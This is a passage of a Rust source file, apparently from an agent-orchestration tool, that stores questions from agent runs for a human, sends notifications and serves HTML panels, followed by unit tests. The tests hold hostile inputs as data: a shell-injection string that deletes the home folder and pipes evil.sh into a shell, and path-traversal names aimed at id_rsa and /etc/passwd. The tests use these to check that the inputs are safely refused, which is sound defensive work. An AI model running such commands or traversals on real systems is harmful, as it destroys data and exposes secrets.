1759 return Ok(Wait::Pending);
1763 }
1764 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1765 let (fresh, unread) = store
1769 .update(&q.id, |r| {
1770 let unread = r.unread_from_owner();
1771 if unread.is_none() {
1772 r.abandon(&why);
1773 r.waiter = None;
1774 }
1775 Ok(unread)
1776 })
1777 .context("record the abandoned question")?;
1778 *q = fresh;
1779 if let Some(said) = unread {
1780 return Ok(Wait::Replied(said));
1781 }
1782 tracing::warn!(
1783 "question {} went unanswered for {}s; the run parks and the \
1784 question stays as the record of it",
1785 q.short(),
1786 timeout.as_secs()
1787 );
1788 return Ok(Wait::Abandoned);
1789 }
1790 tokio::time::sleep(poll.min(deadline - now)).await;
1791 store.beat(&q.id, WaiterKind::Asker);
1792 match store.get(&q.id) {
1793 Ok(fresh) if !fresh.status.open() => {
1794 *q = fresh;
1798 return Ok(match q.resolution() {
1799 Some(a) => Wait::Answered(a),
1800 None => Wait::Abandoned,
1803 });
1804 }
1805 Ok(fresh) => {
1806 if let Some(said) = fresh.unread_from_owner() {
1807 *q = fresh;
1808 return Ok(Wait::Replied(said));
1809 }
1810 }
1813 Err(e) => {
1814 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1818 }
1819 }
1820 }
1821}
1822
1823pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1834 notify_text(cmd, &q.run, &q.summary).await
1835}
1836
1837pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1840 let Some((program, args)) = cmd.command.split_first() else {
1841 return Ok(());
1843 };
1844 let url = web_url();
1845 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1846 tracing::warn!(
1847 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1848 so the link will be empty - export it next to `magi serve` with \
1849 the address `magi web --open` printed"
1850 );
1851 }
1852 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1853 tracing::debug!(program = %program, args = ?argv, "notifying");
1854
1855 let mut child = tokio::process::Command::new(program);
1856 child.quiet();
1857 child
1858 .args(&argv)
1859 .stdin(std::process::Stdio::null())
1860 .kill_on_drop(true);
1863 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1864 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1865 Err(_) => bail!(
1866 "notification command `{program}` did not finish within {}s",
1867 NOTIFY_TIMEOUT.as_secs()
1868 ),
1869 };
1870 if !out.status.success() {
1871 let stderr = String::from_utf8_lossy(&out.stderr);
1872 let why = stderr
1873 .lines()
1874 .rev()
1875 .find(|l| !l.trim().is_empty())
1876 .unwrap_or("no output on stderr")
1877 .trim();
1878 bail!(
1879 "notification command `{program}` exited with {}: {why}",
1880 out.status
1881 );
1882 }
1883 Ok(())
1884}
1885
1886fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1892 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1893 let mut out = String::with_capacity(template.len());
1894 let mut rest = template;
1895 while let Some(at) = rest.find('{') {
1896 out.push_str(&rest[..at]);
1897 let tail = &rest[at..];
1898 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1899 Some((token, value)) => {
1900 out.push_str(value);
1901 rest = &tail[token.len()..];
1902 }
1903 None => {
1904 out.push('{');
1906 rest = &tail[1..];
1907 }
1908 }
1909 }
1910 out.push_str(rest);
1911 out
1912}
1913
1914fn web_url() -> String {
1916 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1917}
1918
1919fn question_url(base: &str) -> String {
1926 let base = base.trim().trim_end_matches('/');
1927 if base.is_empty() || base.contains('#') {
1928 return base.to_owned();
1929 }
1930 format!("{base}/#/questions")
1931}
1932
1933fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1938 let index = dir.join(PANEL_HTML);
1939 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1940 for (name, src) in assets {
1941 let dst = dir.join(name);
1942 std::fs::copy(src, &dst)
1943 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1944 }
1945 Ok(())
1946}
1947
1948fn clear_dir(path: &Path) -> Result<()> {
1953 match std::fs::remove_dir_all(path) {
1954 Ok(()) => Ok(()),
1955 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1956 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1957 }
1958}
1959
1960fn read_path(path: &Path) -> Result<Question> {
1961 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1962 let q: Question =
1963 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1964 if q.schema > SCHEMA {
1965 bail!(
1970 "question {} was written by a newer magi (schema {}, this build \
1971 only speaks up to {SCHEMA})",
1972 q.id,
1973 q.schema
1974 );
1975 }
1976 Ok(q)
1977}
1978
1979pub fn short_id(id: &str) -> &str {
1981 short(id)
1982}
1983
1984fn short(id: &str) -> &str {
1985 id.split('-').next_back().unwrap_or(id)
1986}
1987
1988fn new_id() -> String {
1989 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1990 let seed = crate::rng::entropy();
1991 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1992}
1993
1994#[cfg(test)]
1995mod tests {
1996 use super::*;
1997
1998 fn store() -> (tempfile::TempDir, Questions) {
2001 let dir = tempfile::tempdir().unwrap();
2002 let s = Questions::at(dir.path().join("questions"));
2003 (dir, s)
2004 }
2005
2006 #[test]
2007 fn run_names_task_only_for_task_questions() {
2008 for (node, want) in [
2009 (crate::conduct::NODE, true),
2010 (crate::triage::NODE, true),
2011 (crate::triage::DEPS_NODE, true),
2012 (crate::land::APPROVAL_NODE, false),
2013 (crate::bump::NOTICE_NODE, false),
2014 ("implement", false),
2015 ] {
2016 let mut q = choice_question();
2017 q.node = node.to_owned();
2018 assert_eq!(q.run_names_task(), want, "{node}");
2019 }
2020 }
2021
2022 #[test]
2023 fn deleting_a_run_stops_its_questions_asking() {
2024 let (_dir, store) = store();
2025
2026 let mut open_one = choice_question();
2027 store.put(&mut open_one).unwrap();
2028 let mut answered = free_question();
2029 answered
2030 .answer(Answer::Text("keep this".to_owned()))
2031 .unwrap();
2032 store.put(&mut answered).unwrap();
2033 let mut elsewhere = choice_question();
2034 elsewhere.run = "20260903-105039-3cbf".to_owned();
2035 store.put(&mut elsewhere).unwrap();
2036
2037 let n = store
2038 .abandon_for_run(&open_one.run, "run was deleted")
2039 .unwrap();
2040 assert_eq!(n, 1, "only the open question of that run");
2041
2042 let back = store.get(&open_one.id).unwrap();
2043 assert!(!back.status.open(), "it no longer asks for a decision");
2044 assert!(
2045 back.detail.contains("run was deleted"),
2046 "the operator can see why: {}",
2047 back.detail
2048 );
2049
2050 let kept = store.get(&answered.id).unwrap();
2051 assert_eq!(
2052 kept.status,
2053 QuestionStatus::Answered,
2054 "an answered question is a decision on record, not something to revoke"
2055 );
2056 assert!(
2057 store.get(&elsewhere.id).unwrap().status.open(),
2058 "another run's question is untouched"
2059 );
2060 assert!(store.open_for(&open_one.run).is_empty());
2061 }
2062
2063 #[test]
2064 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2065 let (_dir, store) = store();
2066 let mut q = choice_question();
2067 store.put(&mut q).unwrap();
2068
2069 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2071 assert_eq!(n, 0);
2072 assert!(store.get(&q.id).unwrap().status.open());
2073
2074 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2077 assert_eq!(n, 1);
2078 let back = store.get(&q.id).unwrap();
2079 assert!(!back.status.open());
2080 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2081
2082 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2084 }
2085
2086 fn choice_question() -> Question {
2087 Question::new(
2088 "20260902-201256-9fb7".to_owned(),
2089 "implement".to_owned(),
2090 "impl-A".to_owned(),
2091 "Which storage backend should the cache use?".to_owned(),
2092 "Both are already dependencies.".to_owned(),
2093 vec!["SQLite".to_owned(), "Redis".to_owned()],
2094 )
2095 }
2096
2097 fn free_question() -> Question {
2098 Question::new(
2099 "20260902-201256-9fb7".to_owned(),
2100 "review".to_owned(),
2101 "rev-1".to_owned(),
2102 "What should the error message say?".to_owned(),
2103 String::new(),
2104 Vec::new(),
2105 )
2106 }
2107
2108 fn quiet() -> config::Notify {
2110 config::Notify::default()
2111 }
2112
2113 #[test]
2114 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2115 let mut q = choice_question();
2119 q.id = "20260902-231501-ab12".to_owned();
2120 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2121 let keys: Vec<&str> = open
2125 .as_object()
2126 .unwrap()
2127 .keys()
2128 .map(String::as_str)
2129 .collect();
2130 assert_eq!(
2131 keys,
2132 [
2133 "actions",
2134 "answer",
2135 "answer_delivered",
2136 "answer_timeout",
2137 "answered_at",
2138 "asked_at",
2139 "assets",
2140 "choices",
2141 "consult",
2142 "cwd",
2143 "delivered_turns",
2144 "deputy",
2145 "detail",
2146 "id",
2147 "node",
2148 "panel",
2149 "run",
2150 "schema",
2151 "seat",
2152 "status",
2153 "summary",
2154 "thread",
2155 "triage_generation",
2156 "waiter",
2157 ],
2158 "the on-disk field set is a contract with the front end"
2159 );
2160 assert_eq!(open["schema"], 10);
2161 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2162 assert_eq!(open["thread"], serde_json::json!([]));
2163 assert_eq!(open["id"], "20260902-231501-ab12");
2164 assert_eq!(open["run"], "20260902-201256-9fb7");
2165 assert_eq!(open["node"], "implement");
2166 assert_eq!(open["seat"], "impl-A");
2167 assert_eq!(open["status"], "open");
2168 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2169 assert_eq!(open["answered_at"], serde_json::Value::Null);
2170 assert_eq!(open["answer"], serde_json::Value::Null);
2171 let asked = open["asked_at"].as_str().unwrap();
2172 assert!(
2173 asked.ends_with('Z') && asked.contains('T'),
2174 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2175 );
2176
2177 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2179 let answered = serde_json::to_value(&q).unwrap();
2180 assert_eq!(answered["status"], "answered");
2181 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2182 assert!(answered["answered_at"].is_string());
2183
2184 let mut free = free_question();
2186 free.answer(Answer::Text("Say which file it was".to_owned()))
2187 .unwrap();
2188 assert_eq!(
2189 serde_json::to_value(&free).unwrap()["answer"],
2190 serde_json::json!({"text": "Say which file it was"})
2191 );
2192
2193 let body = serde_json::to_string(&q).unwrap();
2195 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2196 }
2197
2198 #[test]
2199 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2200 let mut unoffered = choice_question();
2203 let a = unoffered
2204 .answer(Answer::Choice("Postgres".to_owned()))
2205 .unwrap_err()
2206 .to_string();
2207
2208 let mut typed = choice_question();
2209 let b = typed
2210 .answer(Answer::Text("use Postgres".to_owned()))
2211 .unwrap_err()
2212 .to_string();
2213
2214 let mut blank = free_question();
2215 let c = blank
2216 .answer(Answer::Text(" \n".to_owned()))
2217 .unwrap_err()
2218 .to_string();
2219
2220 let mut twice = choice_question();
2221 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2222 let d = twice
2223 .answer(Answer::Choice("Redis".to_owned()))
2224 .unwrap_err()
2225 .to_string();
2226
2227 assert!(a.contains("not one of the choices"), "{a}");
2228 assert!(b.contains("multiple choice"), "{b}");
2229 assert!(c.contains("empty"), "{c}");
2230 assert!(d.contains("already answered"), "{d}");
2231 let mut distinct = vec![a, b, c, d];
2232 let asked = distinct.len();
2233 distinct.sort_unstable();
2234 distinct.dedup();
2235 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2236
2237 assert_eq!(unoffered.status, QuestionStatus::Open);
2239 assert_eq!(typed.status, QuestionStatus::Open);
2240 assert_eq!(blank.status, QuestionStatus::Open);
2241 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2243
2244 let mut free = free_question();
2246 let e = free
2247 .answer(Answer::Choice("SQLite".to_owned()))
2248 .unwrap_err()
2249 .to_string();
2250 assert!(e.contains("free text"), "{e}");
2251 }
2252
2253 #[test]
2254 fn open_questions_are_listed_before_answered_ones() {
2255 let (_dir, s) = store();
2256 let mut old_open = choice_question();
2259 old_open.id = "20260101-000001-aaaa".to_owned();
2260 let mut new_open = choice_question();
2261 new_open.id = "20260101-000002-bbbb".to_owned();
2262 let mut answered = choice_question();
2263 answered.id = "20260101-000003-cccc".to_owned();
2264 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2265 for q in [&mut old_open, &mut new_open, &mut answered] {
2266 s.put(q).unwrap();
2267 }
2268
2269 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2270 assert_eq!(
2271 ids,
2272 [
2273 "20260101-000002-bbbb",
2274 "20260101-000001-aaaa",
2275 "20260101-000003-cccc"
2276 ],
2277 "what has stopped work comes first; history sorts underneath"
2278 );
2279 assert_eq!(s.count_open(), 2);
2280 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2281 assert!(s.open_for("some-other-run").is_empty());
2282 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2284 assert!(s.get("20260101-000002-bbbb").is_ok());
2285 assert!(s.resolve_id("nope").is_err());
2286 assert!(
2287 s.revision() > 0,
2288 "the store's mtime drives the phone's polling"
2289 );
2290 }
2291
2292 #[test]
2293 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2294 let (_dir, s) = store();
2295 let mut good = choice_question();
2296 s.put(&mut good).unwrap();
2297 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2299 let future = serde_json::json!({
2300 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2301 "seat": "s", "summary": "?", "detail": "", "choices": [],
2302 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2303 "answered_at": null, "answer": null,
2304 });
2305 std::fs::write(
2306 s.path_of("20260101-000010-beef"),
2307 serde_json::to_string(&future).unwrap(),
2308 )
2309 .unwrap();
2310
2311 let listed = s.list();
2312 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2313 assert_eq!(listed[0].id, good.id);
2314 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2316 assert!(e.contains("schema"), "{e}");
2317 }
2318
2319 #[tokio::test]
2320 async fn the_wait_returns_the_answer_another_process_wrote() {
2321 let (dir, s) = store();
2326 let mut q = choice_question();
2327 let id = q.id.clone();
2328 let writer = Questions::at(dir.path().join("questions"));
2329 let handle = tokio::spawn(async move {
2330 tokio::time::sleep(Duration::from_millis(30)).await;
2331 let mut fresh = writer.get(&id).expect("the question was filed first");
2332 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2333 writer.put(&mut fresh).unwrap();
2334 });
2335
2336 let got = wait_for_owner(
2337 &mut q,
2338 &s,
2339 &quiet(),
2340 Duration::from_secs(5),
2341 Duration::from_millis(10),
2342 )
2343 .await
2344 .unwrap();
2345
2346 handle.await.unwrap();
2347 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2348 assert_eq!(
2349 q.status,
2350 QuestionStatus::Answered,
2351 "the caller's copy is refreshed from the answering process's record"
2352 );
2353 assert!(q.answered_at.is_some());
2354 }
2355
2356 #[tokio::test]
2357 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2358 let (_dir, s) = store();
2359 let mut q = choice_question();
2360
2361 let got = wait_for_owner(
2362 &mut q,
2363 &s,
2364 &quiet(),
2365 Duration::from_millis(60),
2366 Duration::from_millis(10),
2367 )
2368 .await
2369 .unwrap();
2370
2371 assert_eq!(
2372 got,
2373 Wait::Abandoned,
2374 "a slow human is not an error; the run parks"
2375 );
2376 assert_eq!(q.status, QuestionStatus::Abandoned);
2377 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2378 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2379 assert!(
2380 on_disk.detail.contains("Abandoned:"),
2381 "why nobody answered belongs with the question: {}",
2382 on_disk.detail
2383 );
2384 assert!(on_disk.resolution().is_none());
2385 assert_eq!(s.count_open(), 0);
2386 }
2387
2388 #[tokio::test]
2389 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2390 let (_dir, s) = store();
2395 let mut q = choice_question();
2396 s.put(&mut q).unwrap();
2397
2398 let got = wait_loop(
2399 &mut q,
2400 &s,
2401 Duration::from_secs(3600),
2402 Duration::from_millis(30),
2403 Duration::from_millis(10),
2404 )
2405 .await
2406 .unwrap();
2407
2408 assert_eq!(
2409 got,
2410 Wait::Pending,
2411 "the clock on this call ran out, not the owner's patience"
2412 );
2413 assert_eq!(
2414 q.status,
2415 QuestionStatus::Open,
2416 "a slice expiring must never abandon the question"
2417 );
2418 let on_disk = s.get(&q.id).expect("still on disk, still open");
2419 assert_eq!(
2420 on_disk.status,
2421 QuestionStatus::Open,
2422 "nothing about the record changed just because this call gave up"
2423 );
2424 }
2425
2426 #[tokio::test]
2427 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2428 let (dir, s) = store();
2433 let mut q = choice_question();
2434 s.put(&mut q).unwrap();
2435
2436 let first = wait_loop(
2437 &mut q,
2438 &s,
2439 Duration::from_secs(3600),
2440 Duration::from_millis(30),
2441 Duration::from_millis(10),
2442 )
2443 .await
2444 .unwrap();
2445 assert_eq!(first, Wait::Pending);
2446
2447 let id = q.id.clone();
2448 let writer = Questions::at(dir.path().join("questions"));
2449 let mut fresh = writer.get(&id).unwrap();
2450 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2451 writer.put(&mut fresh).unwrap();
2452
2453 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2458 .await
2459 .unwrap();
2460 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2461 assert_eq!(q.status, QuestionStatus::Answered);
2462 }
2463
2464 #[tokio::test]
2465 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2466 let (dir, s) = store();
2476 let mut q = choice_question();
2477 s.put(&mut q).unwrap();
2478
2479 let first = wait_loop(
2480 &mut q,
2481 &s,
2482 Duration::from_secs(3600),
2483 Duration::from_millis(30),
2484 Duration::from_millis(10),
2485 )
2486 .await
2487 .unwrap();
2488 assert_eq!(first, Wait::Pending);
2489
2490 let id = q.id.clone();
2492 let writer = Questions::at(dir.path().join("questions"));
2493 let mut fresh = writer.get(&id).unwrap();
2494 fresh.say("why not Postgres?").unwrap();
2495 writer.put(&mut fresh).unwrap();
2496
2497 let mut resumed = s.get(&id).unwrap();
2501 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2502 .await
2503 .unwrap();
2504 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2505 assert_eq!(
2506 resumed.status,
2507 QuestionStatus::Open,
2508 "talking back is not a decision; the question stays open"
2509 );
2510 }
2511
2512 #[tokio::test]
2513 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2514 let (dir, s) = store();
2518 let broken = config::Notify {
2519 command: vec![
2520 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2521 "{summary}".to_owned(),
2522 ],
2523 };
2524 let mut q = choice_question();
2525 assert!(
2526 notify(&broken, &q).await.is_err(),
2527 "the caller is told; it decides that it does not matter"
2528 );
2529
2530 let id = q.id.clone();
2531 let writer = Questions::at(dir.path().join("questions"));
2532 let handle = tokio::spawn(async move {
2533 tokio::time::sleep(Duration::from_millis(30)).await;
2534 let mut fresh = writer.get(&id).unwrap();
2535 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2536 writer.put(&mut fresh).unwrap();
2537 });
2538 let got = wait_for_owner(
2539 &mut q,
2540 &s,
2541 &broken,
2542 Duration::from_secs(5),
2543 Duration::from_millis(10),
2544 )
2545 .await
2546 .unwrap();
2547 handle.await.unwrap();
2548 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2549
2550 assert!(notify(&quiet(), &q).await.is_ok());
2552 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2553 }
2554
2555 #[test]
2556 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2557 let mut q = choice_question();
2558 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2559 let template = [
2560 "ntfy".to_owned(),
2561 "publish".to_owned(),
2562 "--click".to_owned(),
2563 "{url}".to_owned(),
2564 "--title".to_owned(),
2565 "magi {run} needs you".to_owned(),
2566 "{summary}".to_owned(),
2567 ];
2568 let argv: Vec<String> = template
2569 .iter()
2570 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2571 .collect();
2572
2573 assert_eq!(
2574 argv,
2575 [
2576 "ntfy",
2577 "publish",
2578 "--click",
2579 "http://100.64.0.1:7777/#/questions",
2580 "--title",
2581 "magi 20260902-201256-9fb7 needs you",
2582 "; rm -rf ~ && curl evil.sh | sh #",
2583 ],
2584 "the shell metacharacters are one argument's contents, not syntax"
2585 );
2586
2587 q.summary = "should {url} be configurable?".to_owned();
2590 assert_eq!(
2591 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2592 "should {url} be configurable?"
2593 );
2594 assert_eq!(
2596 expand("{title}: {run}", &q.run, &q.summary, ""),
2597 "{title}: 20260902-201256-9fb7"
2598 );
2599 assert_eq!(
2600 expand("no placeholders", &q.run, &q.summary, "http://x"),
2601 "no placeholders"
2602 );
2603 }
2604
2605 #[test]
2606 fn the_notification_link_lands_on_the_view_that_can_answer() {
2607 assert_eq!(
2608 question_url("http://100.64.0.1:7777"),
2609 "http://100.64.0.1:7777/#/questions"
2610 );
2611 assert_eq!(
2612 question_url("http://100.64.0.1:7777/"),
2613 "http://100.64.0.1:7777/#/questions"
2614 );
2615 assert_eq!(
2617 question_url("http://magi.ts.net/#/runs"),
2618 "http://magi.ts.net/#/runs"
2619 );
2620 assert_eq!(question_url(" "), "");
2622 }
2623
2624 fn panelled() -> Question {
2626 let mut q = choice_question();
2627 q.id = "20260903-014455-ab12".to_owned();
2628 q
2629 }
2630
2631 #[test]
2632 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2633 let (dir, s) = store();
2634 let work = dir.path().join("worktree");
2635 std::fs::create_dir_all(&work).unwrap();
2636 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2637 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2638
2639 let mut q = panelled();
2640 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2641 s.put_panel(
2642 &mut q,
2643 html,
2644 &[work.join("table.png"), work.join("diff.svg")],
2645 )
2646 .unwrap();
2647 s.put(&mut q).unwrap();
2648
2649 assert!(q.panel);
2650 assert_eq!(
2651 q.assets,
2652 ["diff.svg", "table.png"],
2653 "sorted, not in the order the agent happened to pass them"
2654 );
2655 assert_eq!(
2656 s.panel_html(&q.id).as_deref(),
2657 Some(html),
2658 "the html is stored byte for byte; the agent authored the markup"
2659 );
2660 assert_eq!(
2661 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2662 Some(&b"<svg/>"[..])
2663 );
2664
2665 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2667 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2668 assert_eq!(json["panel"], true);
2669 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2670 let back = s.get(&q.id).unwrap();
2671 assert!(back.panel);
2672 assert_eq!(back.assets, q.assets);
2673
2674 std::fs::remove_dir_all(&work).unwrap();
2677 assert_eq!(
2678 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2679 Some(&b"\x89PNG"[..]),
2680 "a referenced asset would be gone with the worktree"
2681 );
2682 }
2683
2684 #[test]
2685 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2686 let (dir, s) = store();
2687 let mut q = panelled();
2688 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2689 s.put(&mut q).unwrap();
2690
2691 let secret = "this must never reach the browser";
2694 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2695 assert_eq!(
2696 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2697 secret,
2698 "the traversal is real: the operating system resolves this path \
2699 happily, which is why the name has to be refused before the join"
2700 );
2701
2702 let long = "x".repeat(200);
2703 for name in [
2704 "..",
2705 "../id_rsa",
2706 "..\\id_rsa",
2707 "sub/../id_rsa",
2708 "/",
2709 "\\",
2710 "/etc/passwd",
2711 "C:\\Windows\\win.ini",
2712 "",
2713 ".hidden",
2714 ".",
2715 long.as_str(),
2716 ] {
2717 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2718 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2719 assert!(
2720 e.contains("not a panel file name"),
2721 "`{name}` must be refused as a name, not attempted: {e}"
2722 );
2723 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2724 }
2725 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2728
2729 let hidden = dir.path().join(".hidden");
2732 std::fs::write(&hidden, "x").unwrap();
2733 let e = s
2734 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2735 .unwrap_err()
2736 .to_string();
2737 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2738 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2739 assert!(q.assets.is_empty());
2740 }
2741
2742 #[test]
2743 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2744 let (dir, s) = store();
2745 let mut q = panelled();
2746 s.put(&mut q).unwrap();
2747
2748 let big = dir.path().join("recording.png");
2751 std::fs::File::create(&big)
2752 .unwrap()
2753 .set_len(PANEL_MAX_BYTES)
2754 .unwrap();
2755
2756 let html = "<p>see the recording</p>";
2757 let total = PANEL_MAX_BYTES + html.len() as u64;
2758 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2759 assert!(
2760 e.contains(&PANEL_MAX_BYTES.to_string()),
2761 "the cap is named so the agent knows the limit: {e}"
2762 );
2763 assert!(
2764 e.contains(&total.to_string()),
2765 "the actual size is named so the agent knows by how much: {e}"
2766 );
2767
2768 assert!(!q.panel);
2769 assert!(q.assets.is_empty());
2770 let left: Vec<String> = std::fs::read_dir(s.root())
2771 .unwrap()
2772 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2773 .collect();
2774 assert_eq!(
2775 left,
2776 [format!("{}.json", q.id)],
2777 "a refused panel leaves neither a directory nor scratch: {left:?}"
2778 );
2779 }
2780
2781 #[test]
2782 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2783 let (dir, s) = store();
2784 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2785 std::fs::create_dir_all(&before).unwrap();
2786 std::fs::create_dir_all(&after).unwrap();
2787 std::fs::write(before.join("diff.png"), "before").unwrap();
2788 std::fs::write(after.join("diff.png"), "after").unwrap();
2789
2790 let mut q = panelled();
2791 let e = s
2792 .put_panel(
2793 &mut q,
2794 "<p>x</p>",
2795 &[before.join("diff.png"), after.join("diff.png")],
2796 )
2797 .unwrap_err()
2798 .to_string();
2799 assert!(e.contains("diff.png"), "{e}");
2800 assert!(
2801 e.contains("before") && e.contains("after"),
2802 "both sources are named, because the fix is to rename one: {e}"
2803 );
2804 assert!(!q.panel);
2805 assert!(!s.panel_dir(&q.id).exists());
2806 }
2807
2808 #[test]
2809 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2810 let (dir, s) = store();
2811 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2812 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2813
2814 let mut q = panelled();
2815 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2816 .unwrap();
2817 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2818 .unwrap();
2819
2820 assert_eq!(q.assets, ["new.png"]);
2821 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2822 assert!(
2823 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2824 "an asset from the first attempt would show a mix of two answers"
2825 );
2826
2827 s.drop_panel(&q.id).unwrap();
2828 assert!(s.panel_html(&q.id).is_none());
2829 assert!(!s.panel_dir(&q.id).exists());
2830 s.drop_panel(&q.id)
2831 .expect("dropping a panel that is already gone is the desired state");
2832 }
2833
2834 #[test]
2835 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2836 let (_dir, s) = store();
2837 let mut q = panelled();
2838 s.put(&mut q).unwrap();
2839
2840 assert!(!q.panel);
2841 assert!(s.panel_html(&q.id).is_none());
2842 assert!(
2843 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2844 "a missing file is a 404 for the caller, not a failure of the store"
2845 );
2846 let json = serde_json::to_value(&q).unwrap();
2847 assert_eq!(json["panel"], false);
2848 assert_eq!(json["assets"], serde_json::json!([]));
2849
2850 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2853 assert!(e.contains("empty panel"), "{e}");
2854 assert!(!s.panel_dir(&q.id).exists());
2855 }
2856
2857 #[test]
2858 fn a_question_written_before_panels_existed_still_deserialises() {
2859 let (_dir, s) = store();
2860 std::fs::create_dir_all(s.root()).unwrap();
2861 let id = "20260902-231501-ab12";
2862 let body = r#"{
2864 "schema": 1,
2865 "id": "20260902-231501-ab12",
2866 "run": "20260902-201256-9fb7",
